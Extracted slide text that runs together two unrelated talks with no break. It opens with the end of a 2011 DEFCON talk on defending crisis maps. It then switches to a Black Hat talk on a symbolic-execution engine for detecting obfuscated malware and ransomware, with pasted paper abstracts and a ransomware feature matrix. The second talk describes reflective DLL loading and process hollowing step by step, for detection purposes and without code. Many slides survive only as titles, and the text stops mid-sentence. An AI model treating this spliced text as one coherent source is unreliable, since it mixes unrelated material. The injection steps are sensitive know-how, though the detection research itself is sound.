Worked on
Pakreport
32
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
Media
Org
Isolation of Operations
33
george chamales // DEFCON USA - 2011
Threats to Deployment Managers
Ignorance
Direct
Attacks
Infiltration
Education
Standards
Best Practices
Anonymity
Bigger the Better
Reputation
Isolate Operations
34
george chamales // DEFCON USA - 2011
...we are responsible for deploying a
crisis map
Message
Collection
Report
Processing
Report
Presentation
35
george chamales // DEFCON USA - 2011
...we are responsible for deploying a
crisis map
Code it
Yourself
Open Source
Crisis Mapping Apps
Kludge Existing
Services
36
george chamales // DEFCON USA - 2011
2008
2011
37
george chamales // DEFCON USA - 2011
Direct URL Access
Reports are private until approved......unless
Search Leakage
Reports Listing
38
george chamales // DEFCON USA - 2011
39
george chamales // DEFCON USA - 2011
Platform Considerations
Adaptability
Source Access
Helpful Authors
Previous Additions
Security
Code Vetting
Secure Coding
40
george chamales // DEFCON USA - 2011
...we are responsible for deploying a
crisis map
Local
Server
Internet
Server
The
Cloud
41
george chamales // DEFCON USA - 2011
http://online.wsj.com/article/SB10001424052702304520804576345970862420038.html#ixzz1O46A44T9
http://www.adweek.com/news/technology/syria-cuts-internet-132245
http://www.slate.com/id/2283000/
42
george chamales // DEFCON USA - 2011
Platform Location
Attackable
DOS Prevention
IP Mobility
Synchronization
Expect Outages
Observable
Encryption
Obfuscation
43
george chamales // DEFCON USA - 2011
...in order to _____________.
?
44
george chamales // DEFCON USA - 2011
Operate Successfully
Setup Platform
basic tech skills + server
the skills needed to perform the
deployment effectively, securely
45
george chamales // DEFCON USA - 2011
Spreading the Word
No One
Private
Network
Everyone
46
george chamales // DEFCON USA - 2011
Message Corruption
FALSE
47
george chamales // DEFCON USA - 2011
Spreading the Word
Misinterpretation
Corruption
Anonymity
Bigger the Better
Source Access
Helpful Authors
48
george chamales // DEFCON USA - 2011
Collection Sources
Direct
Messages
Social
Media
Professional
Media
49
george chamales // DEFCON USA - 2011
http://www.guardian.co.uk/world/2011/jun/13/syrian-lesbian-blogger-tom-macmaster
A Gay Girl
In Damascus
A Heterosexual
Married American
Guy in Ireland
50
george chamales // DEFCON USA - 2011
Collecting Reports
Verification
History
Reputation
Collaboration
Collection
Multiple Methods
Expect Outages
51
george chamales // DEFCON USA - 2011
Message Processing
Local
Team
Any Online
Volunteers
Crisis Mapping
Community
Automated
Analysis
52
george chamales // DEFCON USA - 2011
Low-Tech Crowdsourcing
53
george chamales // DEFCON USA - 2011
54
george chamales // DEFCON USA - 2011
Hi-Tech Crowdsourcing
55
george chamales // DEFCON USA - 2011
Crowdsourced
Micro-Tasking
56
george chamales // DEFCON USA - 2011
Message Processing
Infiltration
Need to Know
Corroboration
Inaccuracy
Corroboration
Reputation
History
57
george chamales // DEFCON USA - 2011
Post-Crisis Opportunities
58
george chamales // DEFCON USA - 2011YES
Worth it?
59
george chamales // DEFCON USA - 2011
60
George Chamales
Rogue Genius LLC
[email protected]
61
Lives on the Line
Defending Crisis Maps in
Libya, Sudan, and Pakistan | pdf |
#BHUSA @BlackHatEvents
A New Trend for the Blue Team
Using a Practical Symbolic Engine to Detect Evasive Forms of
Malware/Ransomware
Hank Chen
Sheng-Hao Ma
Mars Cheng
@hank0438
@aaaddress1
@marscheng_
TXOne Networks Inc.
#BHUSA @BlackHatEvents
Who are we?
Hank Chen
Sheng-Hao Ma
Mars Cheng
Manager
PSIRT and Threat Research
Threat Researcher
PSIRT and Threat Research
Threat Researcher
PSIRT and Threat Research
• Spoke at Black Hat, RSA Conference, DEFCON,
SecTor, FIRST, HITB, ICS Cyber Security
Conference, HITCON, SINCON, CYBERSEC, and
CLOUDSEC
• Instructor of CCoE Taiwan, Ministry of National
Defense, Ministry of Education, Ministry of
Economic Affairs and etc.
• General Coordinator of HITCON 2022 and 2021
• Vice General Coordinator of HITCON 2020
• Spoke at Black Hat, DEFCON, HITB, VXCON,
HITCON, ROOTCON, and CYBERSEC
• Instructor of CCoE Taiwan, Ministry of National
Defense, Ministry of Education, and etc.
• The author of the popular security book "Windows
APT Warfare: The Definitive Guide for Malware
Researchers"
• Spoke at FIRST Conference in 2022
• Instructor of Ministry of National Defense
• Teaching assistant of Cryptography and Information
Security Course in Taiwan NTHU and CCoE
Taiwan
• Member of CTF team 10sec and ⚔TSJ⚔
#BHUSA @BlackHatEvents
Outline
• Introduction
•
Threat Overview
•
The Difficult Problem of Static/Dynamic Malware Detection and Classification
• Deep Dive into Our Practical Symbolic Engine
•
Related Work
•
Our Practical Symbolic Engine
• Demonstration
•
CRC32 & DLL ReflectiveLoader
•
Process Hollowing
•
Ransomware Detection
• Future Works and Closing Remarks
#BHUSA @BlackHatEvents
Outline
• Introduction
•
Threat Overview
•
The Difficult Problem of Static/Dynamic Malware Detection and Classification
• Deep Dive into Our Practical Symbolic Engine
•
Related Work
•
Our Practical Symbolic Engine
• Demonstration
•
CRC32 & DLL ReflectiveLoader
•
Process Hollowing
•
Ransomware Detection
• Future Works and Closing Remarks
#BHUSA @BlackHatEvents
Threat Overview
Malware Type
Virus
Adware
Rootkit
Fileless Malware
Stealth Malware
Malvertising
Ransomware
Spyware
Trojan
Worms
Dropper
ShellCode
#BHUSA @BlackHatEvents
Threat Overview
• Recent Attack Trends – Many Ransomware Family
Ransomware Family
2021 Q2
2021 Q3
2021 Q4
2022 Q1
From 2021
Q4 to 2022
Q1
WannaCry
62.38%
46.95%
46.73%
42.23%
Cryptor
4.06%
17.72%
15.91%
13.79%
Locker
10.44%
10.92%
10.57%
13.43%
LockBit
2.10%
4.35%
5.32%
5.89%
Conti
3.49%
3.09%
3.98%
4.34%
Gandcrab
5.03%
5.21%
3.93%
4.19%
Locky
5.59%
3.28%
3.32%
3.69%
Cobra
2.61%
2.83%
2.73%
3.33%
Hive
0.59%
0.79%
1.82%
2.56%
MAZE
1.00%
1.27%
1.69%
2.07%
#BHUSA @BlackHatEvents
The Ransomware Matrix
WannaCry
Ryuk
Lockergoga
EKANS
RagnarLocker
ColdLock
Egregor
Conti v2
Language Check
No
No
No
No
Yes
No
Yes
No
Kill Process/Services
Yes
Yes
Yes
Yes
Yes
Yes
Yes
No
Persistence
Yes
Yes
No
No
No
No
No
Yes
Privilege Escalation
Yes
Yes
No
No
Yes
No
No
No
Lateral Movement
Yes
No
No
No
No
No
No
No
Anti-Recovery
Yes
Yes
Yes
Yes
Yes
No
Yes
Yes
Atomic-Check
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
File Encryption
R-M-W
R-W-M
M-R-W
R-W-M
R-W-M
R-W-M
R-W-M
R-W-M
Partial Encryption
No
Yes
No
No
No
Yes
Yes
Yes
Cipher Suite
AES-128-CBC
RSA-2048
AES-256
RSA-2048
AES-128-CTR
RSA-1024
AES-256-CTR
RSA-2048
Salsa20
RSA-2048
AES-256-CBC
RSA
ChaCha8
RSA-2048
ChaCha8
RSA-4096
Configuration File
Yes
No
No
Yes
Yes
No
Yes
No
Command-Line Arguments
Yes
No
Yes
No
Yes
No
Yes
Yes
Claim: The matrix is only based on the samples we had analyzed. They might add more features in their variants.
File Encryption:
SF: SetFileInformationByHandle/NtSetInformationFile;
R: ReadFile ; W: WriteFile ; M: MoveFile;
MP: MapViewOfFile, FF: FlushViewOfFileō
#BHUSA @BlackHatEvents
Bad Rabbit Mount Locker RansomExx DoppelPaymer Darkside
Babuk
REvil
LockBit 2.0
Language Check
No
No
No
No
Yes
No
Yes
Yes
Kill Process/Services
No
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Persistence
Yes
No
No
Yes
No
No
Yes
Yes
Privilege Escalation
Yes
No
No
Yes
No
No
Yes
Yes
Lateral Movement
Yes
Yes
No
No
No
No
No
Yes
Anti-Recovery
No
No
Yes
Yes
Yes
Yes
Yes
Yes
Atomic-Check
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
File Encryption
MP-FF
R-W-SF
R-W-M
R-W-M
M-R-W
M-R-W
R-W-M
R-W-SF
Partial Encryption
Yes
Yes
No
No
Yes
Yes
Yes
Yes
Cipher Suite
AES-128-CBC
RSA-2048
ChaCha20
RSA-2048
AES-256-ECB
RSA-4096
AES-256-CBC
RSA-2048
Salsa20
RSA-1024
HC256
Curve25519-ECDH
Salsa20
Curve25519-
ECDH
AES-128-CBC
Curve25519-ECDH
Configuration File
No
No
No
No
Yes
No
Yes
No
Command-Line Arguments
Yes
Yes
No
No
Yes
Yes
Yes
Yes
The Ransomware Matrix
Claim: The matrix is only based on the samples we had analyzed. They might add more features in their variants.
File Encryption:
SF: SetFileInformationByHandle/NtSetInformationFile;
R: ReadFile ; W: WriteFile ; M: MoveFile;
MP: MapViewOfFile, FF: FlushViewOfFileō
#BHUSA @BlackHatEvents
Malware detection Techniques
Type
Scope
Signature-based
Byte sequence, List of DLL, Assembly Instruction
Behavior-based
API Calls, System calls, CFG, Instruction trace, n-gram, Sandbox
Heuristic-based
API Calls, System call, CFG, Instruction trace, List of DLL, Hybrid featues, n-gram
Cloud-based
Strings, System calls, Hybrid featues, n-gram
Learning-based
API Calls, System call, Hybrid featues
…
#BHUSA @BlackHatEvents
The Difficult Problem on Malware Detection
Type
Difficult Problem (Limitation)
Signature-based
Need huge database, Hard to defeat obfuscated samples, Vendor need to spend
many people to update the signature
Behavior-based
Need to Run it, have the risk of attacking by 0-day exploits or vulnerabilities. Time-
consuming and labor-intensive. Behavior policy can be bypassed
Heuristic-based
will include both of the above
Cloud-based
Immediacy of Internet connections. Adds additional delay to many tasks. Less
effective at monitoring/detecting Heuristics
Learning-based
Learning dataset can’t help to identify the variant
…
#BHUSA @BlackHatEvents
The Difficult Problem on Malware Detection
• Time-consuming and labor-intensive when dynamic analysis
• Vendor need to update the signature based on different malware
• Can’t help to identify the variant
• Hard to defeat obfuscated samples
#BHUSA @BlackHatEvents
Outline
• Introduction
•
Threat Overview
•
The Difficult Problem of Static/Dynamic Malware Detection and Classification
• Deep Dive into Our Practical Symbolic Engine
•
Related Work
•
Our Practical Symbolic Engine
• Demonstration
•
CRC32 & DLL ReflectiveLoader
•
Process Hollowing
•
Ransomware Detection
• Future Works and Closing Remarks
#BHUSA @BlackHatEvents
Related Work
• Three main papers inspire us do this research
•
Christodorescu, Mihai, et al. "Semantics-aware malware detection." 2005 IEEE symposium on security
and privacy (S&P'05). IEEE, 2005.
•
Kotov, Vadim, and Michael Wojnowicz. "Towards generic deobfuscation of windows API calls." arXiv
preprint arXiv:1802.04466 (2018).
•
Ding, Steven HH, Benjamin CM Fung, and Philippe Charland. "Asm2vec: Boosting static representation
robustness for binary clone search against code obfuscation and compiler optimization." 2019 IEEE
Symposium on Security and Privacy (SP). IEEE, 2019.
• Thanks for their contributions
#BHUSA @BlackHatEvents
Related Work
• Semantics-Aware Malware Detection (S&P'05)
• A lightweight malware template based on data reference
relationships
• Efficient detection the same behavior but easily mutated code
• No False Positive!
• Nowadays: Practical Issues
•
The original paper only proposed the concept without releasing the
engine and source code for use
•
Developing a complete symbolic engine to analyze real-world samples
is difficult.
•
The Windows API recognition of strip symbols could not be resolved
Semantics-Aware Malware Detection
Mihai Christodorescu∗
Somesh Jha∗
University of Wisconsin, Madison
{mihai, jha}@cs.wisc.edu
Sanjit A. Seshia†
Dawn Song
Randal E. Bryant†
Carnegie Mellon University
{sanjit@cs., dawnsong@, bryant@cs.}cmu.edu
Abstract
A malware detector is a system that attempts to de-
termine whether a program has malicious intent. In or-
der to evade detection, malware writers (hackers) fre-
quently use obfuscation to morph malware. Malware
detectors that use a pattern-matching approach (such
as commercial virus scanners) are susceptible to obfus-
cations used by hackers. The fundamental deficiency
in the pattern-matching approach to malware detection
is that it is purely syntactic and ignores the semantics
of instructions. In this paper, we present a malware-
detection algorithm that addresses this deficiency by in-
corporating instruction semantics to detect malicious
program traits. Experimental evaluation demonstrates
that our malware-detection algorithm can detect vari-
ants of malware with a relatively low run-time over-
head. Moreover, our semantics-aware malware detec-
tion algorithm is resilient to common obfuscations used
by hackers.
1. Introduction
A malware instance is a program that has malicious
intent.
Examples of such programs include viruses,
trojans, and worms. A classification of malware with
respect to its propagation method and goal is given
in [29]. A malware detector is a system that attempts
to identify malware. A virus scanner uses signatures
and other heuristics to identify malware, and thus is an
example of a malware detector. Given the havoc that
can be caused by malware [18], malware detection is an
important goal.
∗This work was supported in part by the Office of Naval Research
under contracts N00014-01-1-0796 and N00014-01-1-0708. The U.S.
Government is authorized to reproduce and distribute reprints for
Governmental purposes, notwithstanding any copyright notices af-
fixed thereon.
The views and conclusions contained herein are those of the authors
and should not be interpreted as necessarily representing the official
policies or endorsements, either expressed or implied, of the above
government agencies or the U.S. Government.
†This work was supported in part by Army Research Office grant
DAAD19-01-1-0485.
The goal of a malware writer (hacker) is to modify
or morph their malware to evade detection by a mal-
ware detector. A common technique used by malware
writers to evade detection is program obfuscation [30].
Polymorphism and metamorphism are two common ob-
fuscation techniques used by malware writers. For ex-
ample, in order to evade detection, a virus can morph
itself by encrypting its malicious payload and decrypt-
ing it during execution. A polymorphic virus obfus-
cates its decryption loop using several transformations,
such as nop-insertion, code transposition (changing the
order of instructions and placing jump instructions to
maintain the original semantics), and register reassign-
ment (permuting the register allocation).
Metamor-
phic viruses attempt to evade detection by obfuscat-
ing the entire virus. When they replicate, these viruses
change their code in a variety of ways, such as code
transposition, substitution of equivalent instruction se-
quences, change of conditional jumps, and register re-
assignment [28,35,36].
Addition of new behaviors to existing malware is an-
other favorite technique used by malware writers. For
example, the Sobig.A through Sobig.F worm variants
(widespread during the summer of 2003) were devel-
oped iteratively, with each successive iteration adding
or changing small features [25–27].
Each new vari-
ant managed to evade detection either through the use
of obfuscations or by adding more behavior. The re-
cent recurrence of the Netsky and B[e]agle worms (both
active in the first half of 2004) is also an example of
how adding new code or changing existing code creates
new undetectable and more malicious variants [9, 17].
For example, the B[e]agle worm shows a series of “up-
grades” from version A to version C that include the
addition of a backdoor, code to disable local security
mechanisms, and functionality to better hide the worm
within existing processes. A quote from [17] summa-
rizes the challenges worm families pose to detectors:
Arguably the most striking aspect of Beagle
is the dedication of the author or authors to
refining the code. New pieces are tested, per-
fected, and then deployed with great fore-
thought as to how to evade antivirus scanners
and how to defeat network edge protection
Proceedings of the 2005 IEEE Symposium on Security and Privacy (S&P’05)
1081-6011/05 $ 20.00 IEEE
#BHUSA @BlackHatEvents
Towards Generic Deobfuscation
of Windows API Calls
Vadim Kotov
Dept. of Research and Intelligence
Cylance, Inc
[email protected]
Michael Wojnowicz
Dept. of Research and Intelligence
Cylance, Inc
[email protected]
Abstract—A common way to get insight into a malicious
program’s functionality is to look at which API functions it
calls. To complicate the reverse engineering of their programs,
malware authors deploy API obfuscation techniques, hiding them
from analysts’ eyes and anti-malware scanners. This problem
can be partially addressed by using dynamic analysis; that is,
by executing a malware sample in a controlled environment and
logging the API calls. However, malware that is aware of virtual
machines and sandboxes might terminate without showing any
signs of malicious behavior. In this paper, we introduce a static
analysis technique allowing generic deobfuscation of Windows
API calls. The technique utilizes symbolic execution and hidden
Markov models to predict API names from the arguments passed
to the API functions. Our best prediction model can correctly
identify API names with 87.60% accuracy.
I. INTRODUCTION
Malware plays by the same rules as legitimate software,
so in order to do something meaningful (read files, update
the registry, connect to a remote server, etc.) it must interact
with the operating system via the Application Programming
Interface (API). On Windows machines, the API functions
reside in dynamic link libraries (DLL). Windows executables
[1] store the addresses of the API functions they depend on
in the Import Address Table (IAT) - an array of pointers to
the functions in their corresponding DLLs. Normally these
addresses are resolved by the loader upon program execution.
When analyzing malware, it is crucial to know what API
functions it calls - this provides good insight into its capabili-
ties [2], [3]. That is why malware developers try to complicate
the analysis by obfuscating the API calls [4]. When API
calls are obfuscated, the IAT is either empty or populated
by pointers to functions unrelated to malware’s objectives,
while the true API functions are resolved on-the-fly. This is
usually done by locating a DLL in the memory and looking
up the target function in its Export Table - a data structure that
describes API functions exposed by the DLL. In other words,
obfuscated API calls assume some ad-hoc API resolution
procedure, different from the Windows loader.
Deobfuscating API calls can be tackled in two broad ways:
1) Using static analysis, which requires reverse engineering
the obfuscation scheme and writing a script that puts
back missing API names.
2) Using dynamic analysis, which assumes executing mal-
ware in the controlled environment and logging the API
calls.
Static analysis allows exploration of every possible execu-
tion branch in a program and fully understand its functionality.
Its major drawback is that it can get time consuming as
some malware families deploy lengthy and convoluted obfus-
cation routines (e.g. Dridex banking Trojan [5]). Furthermore,
even minor changes to the obfuscation schemes break the
deobfuscation scripts, forcing analysts to spend time adapting
them or re-writing them altogether. Dynamic analysis, on
the other hand, is agnostic of obfuscation, but it can only
explore one control flow path, making the analysis incomplete.
Additionally, since dynamic analysis is usually performed
inside virtual machines (VM) and sandboxes, a VM-/sandbox-
aware malware can potentially thwart it.
In this paper, we introduce a static analysis approach,
allowing generic deobfuscation of Windows API calls. Our
approach is based on an observation that malware analysts
can often “guess” some API functions by just looking at
their arguments and the context in which they are called. For
example, consider RegCreateKeyEx:
LONG WINAPI RegCreateKeyEx(
1.
HKEY
hKey,
2.
LPCTSTR
lpSubKey,
3.
DWORD
Reserved,
4.
LPTSTR
lpClass,
5.
DWORD
dwOptions,
6.
REGSAM
samDesired,
7.
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
8.
PHKEY
phkResult,
9.
LPDWORD
lpdwDisposition
);
Arguments 5, 6, 7 and 9 are pre-defined constants (per-
mission flags, attributes etc.) and can only take a finite and
small number of potential values (it’s also partially true for
Workshop on Binary Analysis Research (BAR) 2018
18 February 2018, San Diego, CA, USA
ISBN 1-891562-50-9
https://dx.doi.org/10.14722/bar.2018.23011
www.ndss-symposium.org
Related Work
•
Towards Generic Deobfuscation of Windows API Calls (NDSS'18)
•
Use Clever & Creative Ideas
•
Windows APIs are designed with many magic numbers that can be used as
features for reverse engineering
•
For example, the RegCreateKeyExA parameter HKEY_CURRENT_USER evaluates
to 0x80000001
•
Predict Windows API names by using only the parameter context distribution of
function pointers
•
Using Hidden Markov Model (HMM): Up to 87.6% of API names can be
recovered from the strip symbols binaries
•
Practical Issues
•
Since the Markov Model is too rough in scale, APIs with less than four
parameters cannot be analyzed
•
Not all API parameters have magic numbers used as features L
#BHUSA @BlackHatEvents
Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search
against Code Obfuscation and Compiler Optimization
Steven H. H. Ding∗, Benjamin C. M. Fung∗, and Philippe Charland†
∗Data Mining and Security Lab, School of Information Studies, McGill University, Montreal, Canada.
Emails: [email protected], [email protected]
†Mission Critical Cyber Security Section, Defence R&D Canada - Valcartier, Quebec, QC, Canada.
Email: [email protected]
Abstract—Reverse engineering is a manually intensive but
necessary technique for understanding the inner workings
of new malware, finding vulnerabilities in existing systems,
and detecting patent infringements in released software. An
assembly clone search engine facilitates the work of reverse
engineers by identifying those duplicated or known parts.
However, it is challenging to design a robust clone search
engine, since there exist various compiler optimization options
and code obfuscation techniques that make logically similar
assembly functions appear to be very different.
A practical clone search engine relies on a robust vector
representation of assembly code. However, the existing clone
search approaches, which rely on a manual feature engineering
process to form a feature vector for an assembly function,
fail to consider the relationships between features and identify
those unique patterns that can statistically distinguish assembly
functions. To address this problem, we propose to jointly learn
the lexical semantic relationships and the vector representation
of assembly functions based on assembly code. We have devel-
oped an assembly code representation learning model Asm2Vec.
It only needs assembly code as input and does not require
any prior knowledge such as the correct mapping between
assembly functions. It can find and incorporate rich semantic
relationships among tokens appearing in assembly code. We
conduct extensive experiments and benchmark the learning
model with state-of-the-art static and dynamic clone search
approaches. We show that the learned representation is more
robust and significantly outperforms existing methods against
changes introduced by obfuscation and optimizations.
1. Introduction
Software developments mostly do not start from scratch.
Due to the prevalent and commonly uncontrolled reuse of
source code in the software development process [1], [2],
[3], there exist a large number of clones in the underlying
assembly code as well. An effective assembly clone search
engine can significantly reduce the burden of the manual
analysis process involved in reverse engineering. It addresses
the information needs of a reverse engineer by taking ad-
vantage of existing massive binary data.
Assembly code clone search is emerging as an Infor-
mation Retrieval (IR) technique that helps address security-
related problems. It has been used for differing binaries to
locate the changed parts [4], identifying known library func-
tions such as encryption [5], searching for known program-
ming bugs or zero-day vulnerabilities in existing software or
Internet of Things (IoT) devices firmware [6], [7], as well as
detecting software plagiarism or GNU license infringements
when the source code is unavailable [8], [9]. However,
designing an effective search engine is difficult, due to vari-
eties of compiler optimizations and obfuscation techniques
that make logically similar assembly functions appear to
be dramatically different. Figure 1 shows an example. The
optimized or obfuscated assembly function breaks control
flow and basic block integrity. It is challenging to identify
these semantically similar, but structurally and syntactically
different assembly functions as clones.
Developing a clone search solution requires a robust
vector representation of assembly code, by which one can
measure the similarity between a query and the indexed
functions. Based on the manually engineered features, rel-
evant studies can be categorized into static or dynamic ap-
proaches. Dynamic approaches model the semantic similar-
ity by dynamically analyzing the I/O behavior of assembly
code
[10], [11], [12], [13]. Static approaches model the
similarity between assembly code by looking for their static
differences with respect to the syntax or descriptive statistics
[6], [7], [8], [14], [15], [16], [17], [18]. Static approaches
are more scalable and provide better coverage than the
dynamic approaches. Dynamic approaches are more robust
against changes in syntax but less scalable. We identify
two problems which can be mitigated to boost the semantic
richness and robustness of static features. We show that by
considering these two factors, a static approach can even
achieve better performance than the state-of-the-art dynamic
approaches.
P1: Existing state-of-the-art static approaches fail to
consider the relationships among features. LSH-S [16], n-
gram [8], n-perm [8], BinClone [15] and Kam1n0 [17]
model assembly code fragments as frequency values of
operations and categorized operands. Tracelet [14] models
assembly code as the editing distance between instruction
sequences. Discovre [7] and Genius [6] construct descriptive
features, such as the ratio of arithmetic assembly instruc-
tions, the number of transfer instructions, the number of
basic blocks, among others. All these approaches assume
each feature or category is an independent dimension. How-
ever, a xmm0 Streaming SIMD Extensions (SSE) register is
related to SSE operations such as movaps. A fclose libc
function call is related to other file-related libc calls such
as fopen. A strcpy libc call can be replaced with memcpy.
These relationships provide more semantic information than
Authorized licensed use limited to: IEEE Xplore. Downloaded on April 01,2022 at 07:44:01 UTC from IEEE Xplore. Restrictions apply.
Related Work
• Asm2Vec: Boosting Static Representation Robustness for
Binary Clone Search against Code Obfuscation and Compiler
Optimization (S&P'19)
• Based on the Neural Network (NN) approach
•
Learn the instruction-level semantics of program binary effectively
•
Identify if an unknown binary is a variant of and similar to known programs
•
Even if OLLVM is fully enabled!
• Practical Issues
•
Non-explanatory: it is difficult to explain why this sample is identified as a
known sample variant
•
Only works on classifying samples
•
Unable to precisely identify if binary has a specific malicious attack in a
large number of behaviors
#BHUSA @BlackHatEvents
What is Symbolic Execution?
#BHUSA @BlackHatEvents
What is Symbolic Execution?
stmt: main()
stmt: atoi()
assign
const: 4
stmt: WinExec()
cmp
var: x
op: and
branch
if
return
func
func
const: 0
const: 0
var: argv[3]
var: argv[1]
stmt: atoi()
assign
const: 8
cmp
var: y
func
var: argv[2]
#BHUSA @BlackHatEvents
What is Symbolic Execution?
stmt: main()
stmt: atoi()
assign
const: 4
stmt: WinExec()
cmp
var: x
op: and
branch
if
return
func
func
const: 0
const: 0
var: argv[3]
var: argv[1]
stmt: atoi()
assign
const: 8
cmp
var: y
func
var: argv[2]
#BHUSA @BlackHatEvents
Why We Use Symbolic Execution to Solve
Those Difficult Problem?
• Emulator: resource consumption, many problem about simulating environment, I/O, and
can be bypassed
• Sandbox: Use real environment but also can be bypassed (Command line parameter,
Anti-VM, Anti-sandbox, anti-debug…)
• Traditional Static analysis: can be bypassed easier. High false positives
• Symbolic Execution based: we use the lightweight part – DefUse relationship
•
It is enough to solve the problem of malware analysis, strengthen contextual relevance, semantic-based
analysis, reduce false positives, and furthermore, full static analysis will not have the risk of being
compromised
•
Low development cost and high adjustment flexibility
#BHUSA @BlackHatEvents
Our Practical Symbolic Engine
• Engine Architecture
Vivisect as
Decompiler Module
Taint Analysis
Module via DefUse
Emulation Monitor
Module
(Static emulate win32
environment)
Control Flow
Graph Analysis
Module
Obfuscated API
Identifier Module
Detection
Signature
Suspicious Target
Malicious
Benign
Attack Techniques
Ransomware
Behivor
…
Few Seconds to 1.5 Minutes in average
#BHUSA @BlackHatEvents
Traditional vs. Lightweight Symbolic Execution
Angr
TCSA
AST Expression
PyVex
X
CFG Emulation
Full CFG / Fast CFG
Coverage based
Solver
Claripy
X
Taint Analysis
V
V
Malware Signature Support
X
TCSA rule, Yara rule, Capa
rule
Solve the problem of obfuscated API
X
V
Finished in limited time
X
V
#BHUSA @BlackHatEvents
CFG Analysis Module
• Control Flow Graph (CFG) Analyze Module
Parse function block based on our engine
#BHUSA @BlackHatEvents
Taint Analysis Module
• Taint Analysis Module via DefUse
Part of Taint Analysis Example: all called APIs of static code, their return values are given by an assumed symbolic
value, which can be used later to track the use of the situation.
Taint Analysis demo context result
#BHUSA @BlackHatEvents
Unknown API Recognition
• NDSS’18: Obfuscated API Identifier Module
•
Real samples often have symbols removed or obfuscated, so fuzzy identification can help to identify
what kind of API(s) it is, and thus determine what function it performs
#BHUSA @BlackHatEvents
Prototype
#BHUSA @BlackHatEvents
Obfuscated Samples
• Obfuscated API Identifier Module
•
Detect obfuscated ransomware samples
•
Crysis
• 21dd1344dc8ff234aef3231678e6eeb4a1f25c395e1ab181e0377b7fcef4ef44
#BHUSA @BlackHatEvents
Crysis
#BHUSA @BlackHatEvents
OLLVM - FLA (Obfuscation)
• Crysis
#BHUSA @BlackHatEvents
Engine Scan
• Crysis
#BHUSA @BlackHatEvents
REvil
• 562f7daa506a731aa4b79656a39e69e31333251c041b2f5391518833f9723d62
#BHUSA @BlackHatEvents
REvil
• Obfuscated API Calls (GetProcAddress)
#BHUSA @BlackHatEvents
REvil
#BHUSA @BlackHatEvents
REvil
#BHUSA @BlackHatEvents
Deep Dive into Our Symbolic Engine
•
TCSA (TXOne Code Semantics Analyzer)
•
Malware detection with instruction-level Semantic automata
•
Use Vivisect as the core decompiler engine
•
Support AMD, ARM, x86, MSP430, H8 and many other architectures
•
Support analysis of program files for Windows and Linux systems
•
Pure Python based Engine: Works on any platform able to run Python
•
In TCSA rule, developers can notate the relationship of data references between API calls
•
Symbolized return values of Win32 API, function, or unknown API
•
Usage of memory heap, stack, local variables, etc.
•
DefUse: tracing the source of data, memory values, argument values from
•
Support two additional feature extraction systems: YARA and Capa subsystems
•
Developers Orienting Malware Scanning Design
•
Developers can write their own Rules to be installed in the TCSA engine as callbacks
•
The TCSA engine will traverse and explore each function and the instructions in its Code Block
•
In the Callback, each instruction, memory, function name and parameter can be analyzed line by line
#BHUSA @BlackHatEvents
Deep Dive into Our Symbolic Engine
• Vivisect as Decompiler Module
•
Stack Snapshot for Calls
#BHUSA @BlackHatEvents
Deep Dive into Our Symbolic Engine
• Vivisect as Decompiler Module
•
Stack Snapshot for Calls
#BHUSA @BlackHatEvents
Deep Dive into Our Symbolic Engine
• Some functions that need to be implemented for the real Windows runtime results for
pure static analysis
•
Process Execution Necessary: LoadLibrary, GetProcAddress, GetFullPathName, FindResource...
•
String handling Necessary: sprintf、scanf、lstrlenA…
•
Memory Handling Necessary: HeapAlloc、malloc、free…
#BHUSA @BlackHatEvents
Deep Dive into Our Symbolic Engine
• Malware Rule/Automata Developing
•
Each TCSA Rule should have at least three callback, initialize, and cleanup callback functions.
•
In the initialize function, developers have the ability to do some necessary preparation
•
Developers can receive each instruction in the callback function with execution status from the TCSA engine
•
Used to extract and collect instruction level features to identify specific behavior in a function
•
Locate and mark potentially suspicious function
•
Developers can make the final decision in the cleanup function to determine if a specific behavior has been found
•
Based on the features collected in the callback
•
based on the YARA/CAPA Rule match features
#BHUSA @BlackHatEvents
Outline
• Introduction
•
Threat Overview
•
The Difficult Problem of Static/Dynamic Malware Detection and Classification
• Deep Dive into Our Practical Symbolic Engine
•
Related Work
•
Our Practical Symbolic Engine
• Demonstration
•
CRC32 & DLL ReflectiveLoader
•
Process Hollowing
•
Ransomware Detection
• Future Works and Closing Remarks
#BHUSA @BlackHatEvents
CRC32
#BHUSA @BlackHatEvents
CRC32 (Cont.)
#BHUSA @BlackHatEvents
ReflectiveLoader
• Traversing memory to locate its own PE
Image address
• Parsing its own IMAGE_NT_HEADERS
structure
•
Allocate the memory of the
OptionalHeader.SizeOfImage size using VirtualAlloc.
•
Mapping each section to its own PE Image to this new
memory
•
Parse OptionalHeader.DataDirectory to resolve and
repair the import table
•
Parse OptionalHeader.AddressOfEntryPoint and call
entry
#BHUSA @BlackHatEvents
ReflectiveLoader (Cont.)
#BHUSA @BlackHatEvents
ReflectiveLoader (Cont.)
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing
• Process Hollowing Definition from MITRE
•
Process hollowing is commonly performed by creating a process in a suspended state then
unmapping/hollowing its memory, which can then be replaced with malicious code.
•
A victim process can be created with native Windows API calls such as CreateProcess, which includes
a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs
calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned
to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext,
then ResumeThread respectively.
• How we collect Process Hollowing samples?
•
APT group samples from MITRE
•
APT group sample variant
https://attack.mitre.org/techniques/T1055/012/
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing (Cont.)
•
Create a suspended victim process by
CreateProcess
•
Mount malicious modules in its memory
•
Get the register EBX value by GetThreadContext
•
The register EBX value will point to the PEB structure address of
that process.
•
Modify the ImageBase on the PEB structure by
WriteProcessMemory
•
Switching the main executed PE module to the malicious module
•
Modify the EAX register so the execution entry jump
to the malware entry
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing (Cont.)
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing (Cont.)
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing (Cont.)
#BHUSA @BlackHatEvents
T1055.012 Process Hollowing (Cont.)
• Process Hollowing Definition from MITRE
•
Process hollowing is commonly performed by creating a process in a suspended state then
